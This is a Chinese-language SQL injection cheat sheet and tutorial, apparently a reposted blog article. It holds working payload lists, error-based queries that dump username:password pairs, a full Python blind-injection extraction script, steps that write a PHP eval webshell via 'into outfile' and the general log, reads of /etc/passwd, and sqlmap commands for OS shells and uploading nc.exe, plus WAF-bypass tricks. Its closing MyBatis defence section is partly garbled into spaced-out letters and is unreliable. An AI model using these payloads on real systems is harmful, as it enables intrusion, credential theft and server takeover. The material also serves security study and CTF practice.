当前位置: 首页 > news >正文

SQL注入

sql注入核心语句
information_schema 虚拟数据库(物理上不存在),能提供方皓文数据库元数据的方式,元数据是关于数据的数据,如数据库名、表名、列的数据类型、访问权限等 只能访问
information_schema下面的表:
schemata表:包含schema_name(数据库名)字段
tables表:
information_schema是一个虚拟数据库(物理上不存在),能提供方皓文数据库元数据的方式,元数据是关于数据的数据,如数据库名、表名、列的数据类型、访问权限等 只能访问。
information_schema下面的表:
● schemata表:包含schema_name(数据库名)字段,show databases;的结果取自该字段
● tables表:存储了数据库中所有数据表的表名
○ table_schema:数据库名
○ table_nane:表名
○ columns:列的详细信息
● columns表:存储了数据库中的所有列的列名
select schema_name from information_schema.schemata; – 查看所有数据库名,相当于show databases;
select table_name from information_schema.tables where table_schema=‘erp’; – 查看指定数据库中所有表名字
select column_name from informaton_schema.columns where table_name=‘users’ and table_schema=‘erp’; – 查看指定表中的所有列名
select group_concat(username,password) from erp.users; – 查看指定表中的指定列的内容

show databases; – 查看所有数据库名
show tables; – 查看所有表名
show tables from 数据库名; – 查看指定数据库下的表名
show columns; – 查看所有列名
show columns from 表名; – 查看指定表下的列名

函数总结
常用的注user函数
user()、current_user()、system_user()、session_user()

concat():可以直接拼接参数,也可以自定义使用符号进行拼接,怎么拼接都可以。例如:concat(‘~’,age,username,‘;’,password);默认 使用逗号拼接
group_concat():把查询到的结果合并到一行显示。默认使用逗号拼接
concat_ws():第一个参数是用于连接字段的符号,第二个参数和第三个参数是字段内容。例如:concat_ws(‘~’,(select database()),floor(rand(0)*2))

substr(str,start,length):从start开始截取length长度
substring(str,start,length):同substr
mid(str,start,length):同substr
substring、mid与substr函数用法、功能一致
right(str,num):从右数,返回n个字符
left(str,num):从左数,返回n个字符
lpad(str1,len,str2):如果str1大于len,返回str1左边的len个字符,否则在str1左边填充str2至len
rpad(str1,len,str2):跟lpad同理,不过是在右边填充
instr(root,r)返回字符串root中第一次出现r的位置,从1开始position(‘r’ in ‘root’)返回r在root中首次出现的位置
ltrim()和rtrim():去除字符串左侧或右侧的空格或其他指定字符。
insert(str,len,x,new):用于在指定位置插入一个子字符串,并可选择替换原有的部分字符
strcmp (str1,str2):所有的字符串均相同,返回0,若根据当前分类次序,第一个参数小于第二个,则返回-1,其它情况返回1

limit start,length 分页

ascii():返回字符的ascii码值
ord():与ascii()相同
sleep(n):过n秒响应
length():返回字符串长度
len():同length
count():汇总统计数量,floor报错注入中会用到count(*)
floor():向下取整
rand():随机返回0~1间的小数
as:起别名
group by:分组语句,对结果进行分组
if(1=1,3,4):返回3 if(1=2,3,4)返回4
exp():以e为底的指数
~ :按位取反
conv(str,m,n) 将str从m进制转换为n进制

concat_ws(str,str1,str2):将括号内数据用第一个字段连接起来,例如concat_ws(‘-’,(select database()),floor(rand()*2))
extractvalue(XML_document,XPath_string):第一个参数随便写,把第二个参数的格式符号写错即可,例如
select extractvalue(doc,concat(0x7e,(select database()))) from xml;
updatexml(XML_document,XPath_string,new_value):第一个、第三个参数随便写,第二个命令格式符号写错即可,同extractvalue()。
报错内容长度不能超过32个字符
load_file():读取文件 select load_file(“绝对路径”)

trim函数
下面是移除abcd句首的b,但是abcd并不以b为句首开头,所以会返回abcd
trim(leading ‘b’ from ‘abcd’)
下面则会返回bcd
trim(leading ‘a’ from ‘abcd’)
那我们的注入语句为
id=1’and trim(leading ‘b’ from user())=trim(leading ‘c’ from user()) or ‘a’=‘b
insert函数
insert((insert(目标字符串,1,截取的位数,’‘)),2,9999999,’‘) 这里截取的位数从0开始数只需要记住下面返回的是user的第一位
insert((insert(user(),1,0,’‘)),2,9999999,’‘)
注入语句为
id=1’and insert((insert(user(),1,0,’‘)),2,9999999,’')=‘y’ or ‘a’='b

常用测试payload
判断
'//or//DBMS_PIPE.RECEIVE_MESSAGE(‘a’,4)='a
’ AnD ‘’ like '%
case//when//1=1//then//1//else//0//end
'AND updatexml(1,concat(0x7e,(select database(),0x7e),1)–+
AND if(1=1,sleep(5),1)–+
'AND +‘a’=‘a’+OR+‘a’='a
')and/
/1=1//and//(‘a’='a
')//AND//(‘a’='b
‘//and//‘a’=‘b’+or//‘a’='a
'OR ‘a’ in ‘a’ OR ‘a’ in 'a
CASE 1 WHEN 1 THEN 1 ELSE 1 END
||case+when+1=1+then+1+else+exp(1000)+end
'||cot/
/(0)||’
‘||DECODE(1,2,1,cot/**/(0))||’
,case+when+1=1+then+cot(0)+else+exp(800)+end

数据库报错
exp(710)
cot(0)
POW(1,1,1,)
pow(1+(1=1),99999)
power(9999,9999)
AND+1=extractvalue(1,concat(0x7e,user(),0x7e))

注数据
ord(mid(user(),1,1))=11
ascii(mid(user()+from+10+for+1))=17
ascii(substr(user,1,1))=17
left(user,1)=‘T’
instr(user,‘A’)=1

用户
user() current_user() system_user() session_user() user

常规注入思路
select @@version(); – 查看数据库版本
select user(); – 查看用户
首先判断是数字型还是字符型sql注入
尝试id=1 id=2 id=2-1 如果2-1的回显和1一样,,就是数字型注入,和2一样就是字符型注入
也可以使用除法/ 尝试id=1 id=2 id=2/2 如果2/2结果和1一样,就是数字型注入,和2一样就是字符型注入

||连接符
在orcale、PostgreSQL、DB2等数据库中||作为字符串连接符,例如当一个参数为1的时候,可以这样去测试
id=1’||exp(710)||’
id=1’||cot(0)||’
id=1’||power(2,99999)||‘注入思路跟上面order by差不多
id=1’||case when 1=1 then power(2,99999) else 1 end||’ 报错id=1’||case when 1=2 then power(2,99999) else 1 end||’ 正常
注user也是一个道理
id=1’||case when ascii(substr(user,1,1))=17 then power(2,99999) else 1 end||’

手工注入
手工注入核心就是判断我们插入的特殊语句是否被执行。例如插入单引号、if、延时语句等等不同的字符来观察页面回显。
主要就是遇到每个参数都插入一下单引号、双引号、括号去观察页面回显。如果一点变化都没有就基本没有sql注入了。
如果没过滤会有异常,有过滤会回显拦截页面,就可以尝试绕过
有时候无法使用注释符号,还可以利用闭合来结束。例如:1’ and ‘1’=‘1
原理分析与代码审计
联合注入
报错注入原理及分析
floor()报错注入(适合能回显字段内容的)
rand():产生一个在0~1之间的随机数。但是如果在括号内添加了随机数种子之后,就会变成固定数值(伪随机数)。
floor():返回小于等于括号内数字的最大整数。即向下取整。
count():SQL 中的一个聚合函数,主要用于统计某个列或表中符合条件的行数。
count(*)用于统计结果的记录数
concat_ws():将括号内数据用第一个字段连接起来。(可以自定义符号用来拼接)
group by:分组语句,结合统计函数
as:起别名。
limit:用于显示指定行数。
floor报错注入漏洞形成原因:
floor(rand(0)2)的不确定性结合count()统计导致group by语句报错。
group by会产生一个虚拟的表来汇总数据。
group by执行循环读取数据的每一行时,会将结果保存到临时的表中。读取每一行的key时,如果这个key存在于临时表中,则更新临时表中的数据(更新数据时不再计算rand值);如果这个key不存在于临时表中,则在临时表中插入key所在行的数据(插入数据时会再次计算rand值)。
key就是分组的组名。

select floor(rand(0)*2) from users;
这时候floor(rand(0)2)会产生这样的一个固定序列:01101…
以为下面这条命令为例
select count(
),concat_ws(’-',(select database()),floor(rand(0)*2)) as a from student group by a;
这里数据库名为users
过程:先查询,如果没有就写入(但是写入时候要重新计算),如果有就直接count+1。
1、第一次统计:虚拟表写入第一条数据,执行floor(rand(0)*2),结果为0。(第一次计算)
操作 key floor(rand(0)2) count()
查询第一条记录 不存在 0
2、查询虚拟表,发现key=users-0的键值不存在,则插入新键值的时候,floor(rand(0)*2)会被再计算一次,结果为1(第二次计算),插入虚拟表,第一条记录插入完毕,结果为1。
操作 key floor(rand(0)2) count()
查询第一条记录 不存在 0
插入记录 users-1 1 1
3、第二次统计:虚拟表写入第二条记录时,再次计算floor(rand(0)*2)的值,结果为1(第三次计算),floor(rand(0)*2)不会被计算,count()直接加1,第二条数据写入完毕。
查询虚拟表,发现key=users-1的键值存在,floor(rand(0)*2),不会再被计算,第二条记录查询完毕。
操作 key floor(rand(0)2) count()
查询第一条记录 不存在 0
插入记录 users-1 1 1
查询第二条记录,不用插入 users-1 1 2
4、第三次统计:虚拟表写入第三条记录时,再次计算floor(rand(0)*2),这次结果为0(第四次计算),因为此时没有0数据记录,则执行插入该数据,插入的时候会再次计算floor(rand(0)*2),结果为1(第五次),而1这个主键以及存在于虚拟表中,产生了冲突(主键值必须为1)
操作 key floor(rand(0)2) count()
查询第一条记录 不存在 0
插入记录 users-1 1 1
查询第二条记录,不用插入 users-1 1 2
查询第三条记录 不存在 0
插入记录 users-1(冲突,users-1已存在) 1
总结:是写入第三条记录时候产生报错,因此数据表中最少需要三条数据才能报错

里面from student的作用是让rand()产生足够的计算次数,一般使用行数较多的默认数据表information_schema.tables

mysql> select rand();
±--------------------+
| rand() |
±--------------------+
| 0.04100719936285838 |
±--------------------+
1 row in set (0.07 sec)

mysql> select rand()*2;
±------------------+
| rand()*2 |
±------------------+
| 1.780458142776469 |
±------------------+
1 row in set (0.07 sec)

mysql> select rand() from student; //有多少行就执行多少次
±---------------------+
| rand() |
±---------------------+
| 0.44319500442891846 |
| 0.545287838713534 |
| 0.3968542110145597 |
| 0.34840756966584135 |
| 0.5514752460191727 |
| 0.7121535518319845 |
| 0.9063420518360492 |
| 0.3952496344179377 |
| 0.25722204731518594 |
| 0.10036136405576147 |
| 0.7301407090668945 |
| 0.3496194839008334 |
| 0.5576753230371283 |
| 0.7395181942167861 |
| 0.024565032706190863 |
| 0.9042706116142409 |
| 0.44765799068627693 |
| 0.5254781493223069 |
| 0.2844168052863486 |
| 0.8456496091984674 |
±---------------------+
20 rows in set (0.05 sec)

mysql> select floor(rand(0)*2) from student; //加了随机数种子之后,每次执行这个命令都会是这样,按照一定顺序
±-----------------+
| floor(rand(0)*2) |
±-----------------+
| 0 |
| 1 |
| 1 |
| 0 |
| 1 |
| 1 |
| 0 |
| 0 |
| 1 |
| 1 |
| 1 |
| 0 |
| 1 |
| 1 |
| 1 |
| 0 |
| 1 |
| 0 |
| 0 |
| 0 |
±-----------------+
20 rows in set (0.04 sec)

mysql> select concat_ws(‘-’,(select database()),floor(rand(0)*2));
±----------------------------------------------------+
| concat_ws(‘-’,(select database()),floor(rand(0)*2)) |
±----------------------------------------------------+
| test-0 |
±----------------------------------------------------+

mysql> select concat_ws(‘-’,(select database()),floor(rand(0)*2)) from student;
±----------------------------------------------------+
| concat_ws(‘-’,(select database()),floor(rand(0)*2)) |
±----------------------------------------------------+
| test-0 |
| test-1 |
| test-1 |
| test-0 |
| test-1 |
| test-1 |
| test-0 |
| test-0 |
| test-1 |
| test-1 |
| test-1 |
| test-0 |
| test-1 |
| test-1 |
| test-1 |
| test-0 |
| test-1 |
| test-0 |
| test-0 |
| test-0 |
±----------------------------------------------------+

mysql> select concat_ws(‘-’,(select database()),floor(rand(0)*2)) as a from student group by a; – i起别名为a,并以a分组
±-------+
| a |
±-------+
| test-0 |
| test-1 |
±-------+

mysql> select count(*),concat_ws(‘-’,(select database()),floor(rand(0)*2)) as a from student group by a; – 会出现报错,并且回显出select database()对应的字段
Duplicate entry ‘test-1’ for key ‘<group_key>’

updatexml()报错注入(适合无法回显字段内容的)
updatexml(xml_document,Xpath_string,new_value):用来更新数据。第一个参数为xml文档对象的名称,第二个参数是路径,第三个参数是替换查找到的符号条件的数据。
updatexml()报错注入漏洞形成原因:
当updatexml()函数第二个参数包含特殊符号的时候会报错,并将第二个参数的内容回显在报错信息中(括号中的内容会先执行再回显)。
这个特殊符号常使用~,对应十六进制为0x7e。
第一个参数和第三个参数作用不大。
updatxml()报错内容长度不能超过32个字符。可以使用limit分页或substr()截取字符的方式解决。
sqlilabs-level6的payload为例
这里使用1=的作用是改变查询的逻辑,可以绕过某些sql过滤器或特定的解析器。
?id=1" and 1=updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3)–+ //获取当前数据库下的表名

?id=1" and 1=updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users’)),3)–+ //获取users表中的列名
//使用substr截取字符串
?id=1" and 1=updatexml(1,concat(0x7e,substr((select group_concat(concat(username,‘:’,password)) from users),1,31)),3)–+ //获取username和password字段内容,使用usbstr函数每次截取31个字符
?id=1" and 1=updatexml(1,concat(0x7e,substr((select group_concat(concat(username,‘:’,password)) from users),32,31)),3)–+
//使用limit分页,按条获取
?id=1" and updatexml(1,concat(0x7e,(select concat(username, ‘:’, password) from users limit 0,1)),3)–+
?id=1" and updatexml(1,concat(0x7e,(select concat(username, ‘:’, password) from users limit 1,1)),3)–+
?id=1" and updatexml(1,concat(0x7e,(select concat(username, ‘:’, password) from users limit 2,1)),3)–+

extractvalue()报错注入
extractvalue(XMl_document,Xpath_string):用来查询XML中字符串。第一个参数为xml文档对象的名称,第二个参数是路径。
extractvalue()报错注入漏洞形成原因:
当extractvalue()函数的路径参数Xpath_string格式出现错误时候,会将第二个参数的内容回显在报错信息中(括号中的内容会先执行再回显)。
和updatexml使用方法相同,至少少一个无关紧要的参数。
POST型注入与逻辑闭合
布尔与时间盲注
布尔盲注
注入user()
注入user()不需要考虑太多,注表的话需要考虑数据库类型。
判断存不存在该注入,这里and的优先级比or搞,中间1=1为true则返回true,否则返回false
id=1’ and 1=1 or ‘a’=‘b 该语句应该正常
id=1’ and 1=2 or ‘a’='b 该语句应该不正常

接下来开始注入
ascii(substr(user(),1,1)) 从第一位开始截取截取1位字符的ascii码
id=1‘ and ?=ascii(substr(user(),1,1)) or ‘a’='b 之后遍历这个?从1到127得到第一个字母
id=1‘ and ?=ascii(substr(user(),2,1)) or ‘a’=‘b 接下来以此类推获取第二个字母
拓展
id=1’ and user() like ‘a%’ or ‘a’=‘b %表示匹配所有
id=1’ and user() like ‘a_’ or ‘a’='b _表示匹配一个
接下来遍历a去爆破第一个字母,以此类推

有时候根据不同字段值回显不同,也可以使用if语句
sqls=“if(ascii(substr((select(flag)from(flag)),{},1))=ascii(‘{}’),1,2)”.format(i,j)
脚本如下:
import requests

url=“http://ctf.wangdun.cn:33579/index.php”
“”"
headers={
“User-Agent”:“Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0”,
}
“”"
#回显的标志
success=“没有提示…”
#设置请求方式(get或post)
method_set=“get”
def make_request(url, params=None, method=‘GET’):
if method.upper() == ‘GET’:
return requests.get(url, params=params, headers=headers)
elif method.upper() == ‘POST’:
return requests.post(url, data=params, headers=headers)
else:
raise ValueError(“请求方法不支持,仅支持 ‘GET’ 或 ‘POST’”)

def get_database():
#获取数据库名长度
for i in range(1,20):
payload1 = {‘id’: f"1’ and length(database())={i}#“}
res1= make_request(url, params=payload1, method=method_set)
if success in res1.text:
database_length=i
print(“数据库长度为:”+str(database_length))
break
#获取数据库名
database_name=”"
for i in range(1,database_length+1):
for j in range(32, 127):
payload2={“id”:f"1’ and ascii(substr(database(),{i},1))={j}#"}
res2= make_request(url, params=payload2, method=method_set)
if success in res2.text:
database_name+=chr(j)
print(“当前数据库名字为:”+database_name)
break
print(“数据库名字为:”+database_name)
return database_name

def get_table(database_name):
#获取表的个数
for i in range(1,10):
payload3={“id”:f"1’ and (select count(table_name) from information_schema.tables where table_schema=‘{database_name}’)={i}#“}
res3= make_request(url, params=payload3, method=method_set)
if success in res3.text:
num=i
print(f”{database_name}数据库中有"+str(num)+“张表”)
break
#获取表名
for i in range(1,num+1):
table=“”
for length in range(1,10):
payload4={“id”:f"1’ and (select length(table_name) from information_schema.tables where table_schema=‘{database_name}’ limit {i-1},1)={length}#)“}
res4= make_request(url, params=payload4, method=method_set)
if success in res4.text:
print(f"第{i}张表长度为:{length}”)
table_length=length
break
for j in range(1, table_length + 1):
for k in range(32, 127):
payload5 = {“id”: f"1’ and (select ascii(substr(table_name,{j},1)) from information_schema.tables where table_schema=‘{database_name}’ limit {i - 1},1)={k}#“}
res5 = make_request(url, params=payload5, method=method_set)
if success in res5.text:
table += chr(k)
print(f"第{i}张表名当前为:{table}”)
break
print(f"第{i}张表名为:{table}")

def get_column(table):
#获取列名个数
num=0
for i in range(1,10):
payload6={“id”:f"1’ and (select count(column_name) from information_schema.columns where table_name=‘{table}’)={i}#“}
res6= make_request(url, params=payload6, method=method_set)
if success in res6.text:
num=i
print(f”{table}表中有"+str(num)+“个列”)
break
#获取列名字长度及列名
for i in range(1,num+1):
column=“”
column_length = 0
for length in range(1,10):
payload7={“id”:f"1’ and (select length(column_name) from information_schema.columns where table_name=‘{table}’ limit {i-1},1)={length}#)“}
res7= make_request(url, params=payload7, method=method_set)
if success in res7.text:
print(f"第{i}个列名长度为:{length}”)
column_length=length
break
for j in range(1, column_length + 1): # 获取表名的每一字符
for k in range(32, 127): # 遍历 ASCII 码范围
payload8 = {“id”: f"1’ and (select ascii(substr(column_name,{j},1)) from information_schema.columns where table_name=‘{table}’ limit {i - 1},1)={k}#“}
res8 = make_request(url, params=payload8, method=method_set)
if success in res8.text:
column += chr(k)
print(f"第{i}张列名当前为:{column}”)
break
print(f"第{i}个列名为:{column}")

def get_flag():
flag_length=0
flag=“”
for i in range(1,100):
payload9={“id”:f"1’ and (select length(flag) from test_tb)={i}#“}
res9= make_request(url, params=payload9, method=method_set)
if success in res9.text:
flag_length=i
print(f"flag长度为:{flag_length}”)
break
for j in range(1,flag_length+1):
for k in range(32, 127):
payload10={“id”:f"1’ and (select ascii(substr(flag,{j},1)) from test_tb)={k}#“}
res10= make_request(url, params=payload10, method=method_set)
if success in res10.text:
flag+=chr(k)
print(f"当前flag为:{flag}”)
print(f"最终flag为:{flag}")

if name==“main”:
print(“-----------------------------------------”)
print(“[]开始获取当前数据库长度及名")
database_name = get_database() #获取数据库名并保存
print(“-----------------------------------------”)
print("[
]开始获取当前数据库下的表名”)
get_table(database_name)
print(“-----------------------------------------”)
table=input(“请输入要选择的表名:”)
print(f"[]开始获取{table}表下的列名")
get_column(table)
print(“-----------------------------------------”)
print(f"[
]开始获取flag")
get_flag()
print(“-----------------结束了-------------------”)
print(“bye~”)

时间盲注
这里也是以注user()为例
能用布尔就用布尔,时间盲注效率太低了。
if(1=2,1,sleep(4)) 相等正常,不等则延时4秒
orcale中没有sleep,可用下面这个
DBMS_PIPE.RECEIVE_MESSAGE(‘a’,4)=‘a’ 延时4秒
id=1’and if(114=ascii(substr(user(),1,1)),1,sleep(4)) or ‘a’=‘b 只有相等才不会延时
如果不用if还可以用下面这个
id=1’ and sleep(5*(1)) or ‘a’=‘b 延时5秒
id=1’ and sleep(5*(0)) or ‘a’='b 不会延时
id=1’and sleep(5*(ascii(substr(user(),1,1))=114)) or ‘a’='b 只有相等才会延时

宽字节注入
addslashes()是php中用于转义字符串中特殊字符的函数之一,它会在指定的预定义字符前加上反斜杠,以防止这些字符被误解为代码注入或其他意外操作。
string addslashes() (string s t r ) ; / / str); // str);//str为需要进行转义的字符串
当sql注入时,发现单引号被转义成’,就可以尝试一下宽字节注入。
宽字节注入原理
通常情况下SQL注入点通关单引号识别,但是数据经过addslashes()处理时,单引号会被转换成无功能性字符,在判断注入点时失效。
攻击者可以利用宽字节字符集(如GBK)将两个字节识别为一个汉字,绕过反斜线的转移机制,并使单引号逃逸,实现对sql语句的篡改。
原payload:’ or 1=1 #
经过addslashes()后:’ or 1=1 #
‘的url编码为%27,经过addslashes()后’变成’,对应的url编码为%5c%27
构造饶过:%df’or 1=1 #
经过addslashes()后:%df’ or 1=1 #
%df’对应url编码为%df%5c%27
当MySQL使用GBK编码时,%df%5c会被解析成一个字,使得单引号成功逃逸。
如果遇到单引号被转义成’,可以尝试一下%df’,其余与正常注入一样。
二次注入
二次注入指的是攻击者将恶意数据注入数据库,然后等待应用程序将这些数据存储在数据库。当再次从数据库读取这些数据时,恶意数据就会被读取出来,并执行恶意操作。
以[NSSRound#1 Basic]sql_by_sql为例
进入之后,是一个登录口,有注册功能和登录功能

登录一下admin账户,提示密码不对;随便注册一个账户,登录之后,在修改密码功能处的数据包中发现修改代码的sql语句
update user set password=‘%s’ where username=‘%s’;
这里注册一个admin’–+账户,密码设为123。之后登录,并修改密码为111
执行的sql语句就是
update user set password=‘111’ where username=‘admin’–+';
相当于直接把admin账户的密码修改了,此时退出重新登录。即可登录admin账户

接下来是查询型注入,经过判断发现是数字型注入盲注,使用#不可以,判断可能是sqlite数据库
sqlite的系统表sqlite_master
type 记录项目的类型,如table、index、view、trigger
name 记录项目的名称,如表名、索引名等
tbl_name 记录所从属的表名,如索引所在的表名。对表来说,该列就是表本身
rootpage 记录项目在数据库页中存储的编号。
sql` 记录创建该项目的sql语句

搜索型注入
DNSlog注入
堆叠注入
● 在数据库中每条语句是以;分隔的,堆叠注入就是一次性注入并执行多条语句(中间以;隔开)的注入方式;
● 与其他注入方式不同的是,堆叠注入可以执行增删改查的任何语句。

万能密码
Quine注入
逻辑运算注入、二分注入
无列名注入
update注入
order by注入
即传参的位置在order by后面,由于一般order by后面跟的是列名或数字,不能是字符串,默认就不会预编译,就导致很可能有sql注入。
这种注入一般参数为sort、order或sortname,有一个参数值desc或asc。
select * from 表名 order by 列名或数字(可控) desc
一般测试的时候加上一个特别大的数字来观察页面是否发生异常。
根据不同排序返回的大小不同来进行注入。这时候就要使用条件判断函数了
例如:if、case when
注user
sort=if(114=ascci(substr(user(),1,1)),id,username)
也可以使用case when
sort=case when 1=1 then id else username end
sort=case when 1 then id else username end 如果过滤等号可以这样写
sort=,case 1 when 1 then id else username end 有时候需要加个逗号
也可以利用数据库报错(原理是else后面的函数的值特别大或没有意义时会异常)
sort=case 1 when 1 then id else exp(710) end
sort=case 1 when 1 then id else cot(0) end
sort=case 1 when 1 then id else power(2,9999) end

提权
Sql写马getshell
1、into outfile或into dumpfile写马
outfile与dumpfile区别
1、dumpfile只输出一行内容,而outfile会输出多行。
2、outfile函数在将数据写入到文件时会进行特殊格式转换,例如换行变成\n,而dumpfile则会保持原数据格式。如果传入的是二进制文件,就会被转移符破坏,因此使用dumpfile进行导出二进制文件。
3、dumpfile也不会对任何列或行进行终止,也不会执行任何转义处理。
条件:
● secure_file_priv为空或指定目录(@@secure_file_priv参数可以修改其值),如果是NULL则不能通过该种方式写马
● 知道网站的绝对路径,并且有root权限
探测绝对路径方法:
1、在url里面随便访问一个不存在的目录,例如http://xxx.com/ssfdgr,有的网站会报错同时爆出绝对路径。
2、select @@basedir;查看Mysql数据库的安装路径。
● 能够使用union或者有堆叠注入,如果能够直接登进数据库就不需要了。
root权限
知道网站根目录绝对路径
secure_file_priv为空或指定目录(@@secure_file_priv参数可以修改其值)
gpc关闭
?id=-1)))))) union select 1,load_file(‘/etc/passwd’)%23 能够读取文件
?id=-1)))))) union select 1,load_file(‘/etc/nginx/nginx.conf’)%23 读取nginx配置文件
网站根目录:root /var/www/html; index index.php;
?id=-1)))))) union select 1,‘<?php phpinfo();?>’ into outfile ‘/var/www/html/info.php’%23 php探针,验证是否可以写入
?id=-1)))))) union select 1,‘<?php eval($_REQUEST["1"]);?>’ into outfile ‘/var/www/html/ma.php’%23 向ma.php中写马getshell
2、日志写马
条件:
● 全局变量general_log=ON,打开之后日志文件中就会记录我们写的sql语句。
general_log指的是日志保存状态,general_log_file指的是日志保存路径
● 需要知道网站的绝对路径。
– 查看general_log的状态
show global variables like “%general_log%”;
– 如果为OFF状态,就需要打开
set global general_log=“ON”;
– 日志文件导出指定目录(需知道网站根目录的绝对路径),然后需要设置为.php文件,防止不能被解析
set global general_log_file=“C:\www\a.php”;
– 记录sql语句写马(如果有过滤需要写免杀)
select ‘<?php eva($_R$EQUEST[1]);?>’;
– 关闭记录
set global general_log=“OFF”;

读写文件
读文件
select load_file(“/flag.txt”)

自动注入
sqlmap常用参数解析
1、帮助选项
-h,–help 显示基本帮助信息并退出
-hh 显示高级帮助信息并退出
–version 显示程序版本信息并退出
–batch 非交互模式,适用于自动化
2、目标
-u 目标url
例如: python sqlmap.oy -u “https://www.example.com/test.php?id=1”
-m 接包含多个url的txt文件
例如: python sqlmap.py -m target.txt
-r 将post请求方式的数据包保存在一个txt文件中,sqlmap会通过post方式检测目标
例如: python sqlmap.py -r bp.txt
3、请求
–headers=HEADERS 自定义请求头(可添加多个)
例如: --headers=“Accept-Language: en\nETag: 12345”

–method=METHOD 指定请求方法
例如: --method=“POST”

–data=DATA 设置POST请求发送的内容
例如: --data=“id=1&name=admin”

–cookie=COOKIE 设置cookie
例如: --cookie=“PHPSESSID=abcd1234”

–random-agent 随机user-agent进行测试

–proxy=PROXY 指定代理
例如: --proxy=“127.0.0.1:8080”

–safe-url=SAFE_URL 指定需要定期访问的安全url,避免被WAF拦截
4、优化
-o 开启所有优化开关
–predict-output 预测常见查询输出结果,减少不必要的查询次数,加速注入
–keeep-alive 持久化的http连接
–null-connection 仅获取页面长度,为了减少网络流量,加速检测速度
–threads=THREADS 设置并发的最大线程数,默认值为1
5、制定payload
-p 指定需要测试的参数
例如: -p id 表示仅测试id参数
–tamper=TAMPER 使用指定的脚本进行注入
例如: --tamper=space2comment使用space2comment.py脚本
6、测试
–level=LEVEL 范围1-5,越高测试越深入
–code=CODE 匹配指定的状态码
例如: --code=200 匹配状态码为200的请求
7、后渗透(脱库)
-a 获取数据库所有信息(表、列、用户、数据等等)
-b 获取数据库版本信息(banner)
–current-user获取当前数据库用户信息
–current-db 获取当前数据库
–hostname 获取数据库服务器主机名
–users 枚举用户
–passwords 枚举密码哈希
–privileges 枚举数据库用户权限
–dbs 枚举服务器上的所有数据库
–tables 枚举指定数据库中所有的表
–columns 枚举指定表中的所有列
–schema 提取数据库框架信息
–dump 转储数据库表项,查询字段值
–search 搜索指定的列名、表名、数据库名
-D 指定数据库名
-T 指定表名
-C 指定列名
–sql-query=QUERY 要执行的SQL语句
–sql-shell 提示交互式SQL的shell
–where=DUMPWHERE 添加自定义的where条件
8、暴力破解(枚举常见的表、列、文件)
–common-tables 使用内置的常见表名列表,检测数据库中是否存在这些表
–common-columns 使用内置的常见列名列表,检测目标表中是否存在这些列
–common-files 尝试检测服务器中是否存在常见的文件资源
9、文件操作
–file-read=RFILE 从后端的数据库管理系统文件系统读取文件
–file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件
–file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径
例:在kali中将/software/nc.exe文件上传到C:/WINDOWS/Temp下
sqlmap -u “http://192.168.101.2/sqlmap/mysql/login.php?id=1” --file-write=“/software/nc.exe” --file-dest=“C:/WINDOWS/Temp/nc.exe”
10、渗透操作系统
–is-dba 判断是否DBA。如果具有DBA权限,尝试执行操作系统命令
–os-cmd=OSCMD 执行操作系统命令(OSCMD)
–os-shell 交互式的操作系统的shell
–priv-esc 尝试提权

sqlmap tamper
SQLMap Tamper 是 SQLMap 的一个功能模块,通过特定的脚本对 SQL 注入的 payload(负载)进行变形和修改,用于绕过 Web 应用防火墙(WAF)或其他过滤机制。
WAF绕过
bypass安全狗
常见过滤绕过
空格绕过
替换成url编码:%20
替换成:+
替换成://
替换成:/**/
替换成:/!/
替换成:%09
替换成:%0a
替换成:%0b
替换成:%0c
替换成:%0d
替换成:%00
使用()包裹进行分隔

过滤等号
使用:like rlike Between regexp < >

过滤逗号
可以使用join连接,例如:
union select 1,2,3 等价于
union select * from ((select 1)a join (select 2)b join (select 3)c)
substr(user(),1,1) 等价于 substr((user()) from 1 for 1)

过滤or使用||
过滤and使用&&
过滤xor使用|
过滤not使用!
过滤关键字
1、可以使用concat等拼接
2、可以使用大小写绕过
3、select可以用handler替代,挨个行读取表内数据。
handler 表名 open;handler 表名 read next;

Mybits框架下的SQL注入以及防御
Mybatis中的SQL语句需要手动编写或者使用generator自动生成。编写xml文件时,Mybatis支持两种参数符号:${}和#{}
● ${}:表示使用拼接字符串,将接受到的参数内容不加任何修饰符拼接在SQL中,会导致SQL注入。
● #{}:使用预编译,通过PreparedStatement和占位符实现,会把参数部分用一个占位符?代替,而后注入的参数不会再进行SQL编译,而是当作字符串处理,可以避免SQL注入。
常见场景
1、模糊查询
在模糊查询时,考虑安全编码规范,使用#{}传入参数。

select * from user_table where username like ‘%#{username}%’

但是这种情况下会报错,如果开发经验不足会直接将#{}改成${},导致SQL注入。
安全的写法应该使用CONCAT函数连接通配符。

select * from user_table where username like concat(‘%’,#{username},‘%’)

2、带有IN的查询
在in关键字之后使用#{}查询多个参数。

select * from user_table where username in (#{usernames})

正常提交查询参数时,由于预编译机制,系统会将输入的字符当作一个字符串,因此查询结果为空,不能满足业务功能需求。
如果由于开发经验不足,将#{}改成了${},就会导致SQL注入。
安全的写法应该是使用foreach标签。

select * from user_table where username in

#{username}

3、带有动态排序功能的查询
动态排序功能需要在order by之后传入参数,考虑安全编码规范,使用#{}传入参数。

select * from user_table order by #{column} limit 0,1

提交参数username根据用户名字段排序,但是由于预编译机制,系统将输入的字符当作字符串,根据字符串排序是无法生效的,不能满足业务功能需求。
如果由于开发经验不足,将#{}改成了 ,就会导致 S Q L 注入。安全的写法应该是在 j a v a 代码层面解决可以设置一个字段值的白名单,仅允许用户传入白名单内的字段。 S t r i n g s o r t = r e q u e s t . g e t P a r a m e t e r ( " s o r t " ) ; S t r i n g [ ] s o r t W h i t e L i s t = " i d " , " u s e r n a m e " , " p a s s w o r d " ; i f ( ! A r r a y s . a s L i s t ( s o r t W h i t e L i s t ) . c o n t a i n s ( s o r t ) ) s o r t = " i d " ; 或者仅允许用户传入索引值,代码再将索引值映射成对应字段。 S t r i n g s o r t = r e q u e s t . g e t P a r a m e t e r ( " s o r t " ) ; s w i t c h ( s o r t ) c a s e " 1 " : s o r t = " i d " ; b r e a k ; c a s e " 2 " : s o r t = " u s e r n a m e " ; b r e a k ; c a s e " 3 " : s o r t = " p a s s w o r d " ; b r e a k ; d e f a u l t : s o r t = " i d " ; b r e a k ; 注意,在 m y b a t i s − g e n e r a t o r 自动生成的语句中, o r d e r b y 使用的是 {},就会导致SQL注入。 